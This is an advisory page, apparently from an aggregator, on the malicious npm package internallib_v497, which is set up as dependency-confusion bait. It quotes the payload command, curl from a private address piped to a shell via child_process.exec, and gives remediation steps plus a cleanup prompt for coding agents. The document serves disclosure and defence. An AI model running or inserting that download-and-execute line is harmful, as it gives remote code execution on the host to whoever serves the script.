# MAL-2026-16438: Malicious code in internallib_v497 (npm)


- **Type:** Malicious package
- **Package:** `internallib_v497` (npm)
- **Published:** 23 Sep 2026
- **Also known as:** GHSA-94q5-67r5-mwjx

## What is MAL-2026-16438?

MAL-2026-16438 is a malicious package in internallib_v497, published on 23 Sep 2026. 

### Official description

npm package internallib_v497@1.0.3 ships an index.js that exports a function which shell-executes `curl http://10.0.5.109/shell.sh | sh` via `child_process.exec('/bin/bash -c...')`, fetching an unauthenticated script over plain HTTP from a private RFC1918 address and piping it to a shell. Any consumer that requires the module and invokes the exported `command()` runs whatever code is served at 10.0.5.109 on the installer host. The package.json additionally declares its own name `internallib_v497` as a dependency (`^1.0.0`), matching the classic dependency-confusion bait shape: an organization that maintains a private package by this name and resolves it from the public npm registry will pull this artifact and execute its payload.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-16438?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-16438 is a malicious package: internallib_v497 (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-16438/ (Markdown: https://insights.sbomify.com/MAL-2026-16438/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-16438

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-16438/
Summaries are generated and may contain mistakes; the official description above is the record.